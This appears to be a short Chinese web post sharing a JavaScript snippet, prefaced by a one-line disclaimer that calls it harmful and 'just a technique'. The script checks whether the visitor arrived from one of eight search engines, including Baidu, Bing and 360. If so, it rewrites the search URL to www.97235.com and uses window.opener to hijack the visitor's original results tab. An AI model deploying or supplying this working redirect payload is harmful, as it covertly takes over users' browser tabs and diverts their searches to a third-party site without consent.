这种代码建议不要用,损人不利己,只是为了分享一个技术而写,具体的请大家自觉使用。
<script type="text/javascript">
var a = document.referrer;
a = a.toLowerCase();
if (a.indexOf("www.baidu.com/") != -1) {
var b = a.replace(/www\.baidu\.com\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") {
window.opener.location.href = b
}
}
} else if (a.indexOf("www.sogou.com/") != -1) {
var b = a.replace(/www\.sogou\.com\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") window.opener.location.href = b
}
} else if (a.indexOf("www.soso.com/") != -1) {
var b = a.replace(/www\.soso\.com\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") window.opener.location.href = b
}
} else if (a.indexOf("www.youdao.com/") != -1) {
var b = a.replace(/www\.youdao\.com\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") window.opener.location.href = b
}
} else if (a.indexOf("www.so.com/") != -1) {
var b = a.replace(/www\.so\.com\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") window.opener.location.href = b
}
} else if (a.indexOf("www.haosou.com/") != -1) {
var b = a.replace(/www\.haosou\.com\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") window.opener.location.href = b
}
} else if (a.indexOf("www.bing.com/") != -1) {
var b = a.replace(/www\.bing\.com\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") window.opener.location.href = b
}
} else if (a.indexOf("so.360.cn/") != -1) {
var b = a.replace(/so\.360\.cn\/.*\?/, 'www.97235.com/?');
if (navigator.appName.indexOf("Microsoft") != -1) {
window.open(b)
} else {
if (b != null && b != "") window.opener.location.href = b
}
}
</script>